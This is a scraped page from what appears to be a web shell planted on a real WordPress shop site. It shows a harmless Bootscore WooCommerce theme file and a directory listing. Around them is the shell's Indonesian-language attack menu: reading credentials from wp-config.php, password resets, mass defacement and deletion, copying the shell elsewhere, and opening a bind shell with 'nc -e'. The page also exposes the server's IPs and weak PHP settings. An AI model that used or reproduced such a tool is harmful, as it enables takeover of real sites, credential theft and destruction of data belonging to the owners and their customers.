WPZ

/ data / web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-content / themes / bootscore / woocommerce / inc / [dxwrx-rx-r]
berkas terminal database massal sistem
/data/web/1/000/076/129/313906/htdocs/wp-content/themes/bootscore/woocommerce/inc/wc-qty-btn.php (3.43 KB)
<?php

  /**
   * WooCommerce Quantity Buttons
   *
   * @package Bootscore
   * @version 6.3.1
   */

// Exit if accessed directly
  defined('ABSPATH') || exit;

  /**
   * This snippet can be used to force the quantity input to display in cases where
   * the input value cannot be changed (which is when the product is set to be sold
   * individually, or when the min and max values are identical).
   * See https://github.com/woocommerce/woocommerce/pull/36460
   * See https://github.com/bootscore/bootscore/pull/543/commits/57574c1fdd4ad10d296df70e51cf08b801fccb27
   */
  add_filter('woocommerce_quantity_input_args', function (array $args) {

    add_filter('woocommerce_quantity_input_type', 'change_quantity_input_type');

    // Exit early if required args are not set
    if (!isset($args['max_value']) || !isset($args['min_value']) || !isset($args['input_value'])) {
      return $args;
    }

    // Both Buttons are enabled
    if( $args['max_value'] == 1 || $args['min_value'] == $args['max_value'] ) {
      add_action('woocommerce_before_quantity_input_field', 'bs_quantity_minus_button_disabled');
      add_action('woocommerce_after_quantity_input_field', 'bs_quantity_plus_button_disabled');

      remove_action('woocommerce_before_quantity_input_field', 'bs_quantity_minus_button');
      remove_action('woocommerce_after_quantity_input_field', 'bs_quantity_plus_button');
      $args['readonly'] = true;
    } elseif ($args['input_value'] == $args['min_value'] || $args['input_value'] == 1) {
      add_action('woocommerce_before_quantity_input_field', 'bs_quantity_minus_button_disabled');
      add_action('woocommerce_after_quantity_input_field', 'bs_quantity_plus_button');

      remove_action('woocommerce_before_quantity_input_field', 'bs_quantity_minus_button');
      remove_action('woocommerce_after_quantity_input_field', 'bs_quantity_plus_button_disabled');
    } elseif ($args['input_value'] == $args['max_value']) {
      add_action('woocommerce_before_quantity_input_field', 'bs_quantity_minus_button');
      add_action('woocommerce_after_quantity_input_field', 'bs_quantity_plus_button_disabled');

      remove_action('woocommerce_before_quantity_input_field', 'bs_quantity_minus_button_disabled');
      remove_action('woocommerce_after_quantity_input_field', 'bs_quantity_plus_button');
    } else {
      add_action('woocommerce_before_quantity_input_field', 'bs_quantity_minus_button');
      add_action('woocommerce_after_quantity_input_field', 'bs_quantity_plus_button');

      remove_action('woocommerce_before_quantity_input_field', 'bs_quantity_minus_button_disabled');
      remove_action('woocommerce_after_quantity_input_field', 'bs_quantity_plus_button_disabled');
    }

    return $args;
  });

  function change_quantity_input_type() {
    return 'number';
  }

  function bs_quantity_minus_button() {
    echo '<div class="input-group"><button type="button" class="minus input-group-text" data-type="minus">-</button>';
  }

  function bs_quantity_minus_button_disabled() {
    echo '<div class="input-group"><button type="button" class="minus input-group-text disabled" disabled="disabled" data-type="minus">-</button>';
  }

  function bs_quantity_plus_button() {
    echo '<button type="button" class="plus input-group-text" data-type="plus">+</button></div>';
  }

  function bs_quantity_plus_button_disabled() {
    echo '<button type="button" class="plus input-group-text disabled" disabled="disabled" data-type="plus">+</button></div>';
  }
namawaktuukuranownerpermaksi
..
blocks/ 2026-11-26 08:196.91 KB 76129f60960:kundendxwrx-rx-r
ajax-cart.php 2026-11-26 08:1919.38 KB 76129f60960:kunden-xw-x--x--
edt
wc-ajax-login.php 2026-11-26 08:194.68 KB 76129f60960:kunden-xw-x--x--
edt
wc-breadcrumb.php 2026-11-26 08:196.83 KB 76129f60960:kunden-xw-x--x--
edt
wc-cart.php 2026-11-26 08:191.35 KB 76129f60960:kunden-xw-x--x--
edt
wc-deprecated.php 2026-11-26 08:191.47 KB 76129f60960:kunden-xw-x--x--
edt
wc-enqueue.php 2026-11-26 08:192.17 KB 76129f60960:kunden-xw-x--x--
edt
wc-forms.php 2026-11-26 08:191.5 KB 76129f60960:kunden-xw-x--x--
edt
wc-loop.php 2026-11-26 08:193.82 KB 76129f60960:kunden-xw-x--x--
edt
wc-mini-cart.php 2026-11-26 08:191.35 KB 76129f60960:kunden-xw-x--x--
edt
wc-pagination.php 2026-11-26 08:192.05 KB 76129f60960:kunden-xw-x--x--
edt
wc-qty-btn.php 2026-11-26 08:193.43 KB 76129f60960:kunden-xw-x--x--
edt
wc-redirects.php 2026-11-26 08:191.59 KB 76129f60960:kunden-xw-x--x--
edt
wc-result-count.php 2026-11-26 08:191.21 KB 76129f60960:kunden-xw-x--x--
edt
wc-sale-flash.php 2026-11-26 08:19491 B 76129f60960:kunden-xw-x--x--
edt
wc-setup.php 2026-11-26 08:19608 B 76129f60960:kunden-xw-x--x--
edt
wc-single-product-reviews.php 2026-11-26 08:192.78 KB 76129f60960:kunden-xw-x--x--
edt
wc-skip-cart.php 2026-11-26 08:191.25 KB 76129f60960:kunden-xw-x--x--
edt
wc-stock-badge.php 2026-11-26 08:19706 B 76129f60960:kunden-xw-x--x--
edt
wc-tabs.php 2026-11-26 08:193.02 KB 76129f60960:kunden-xw-x--x--
edt
aksi pada path manual

cwd: /data/web/1/000/076/129/313906/htdocs/wp-content/themes/bootscore/woocommerce/inc
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK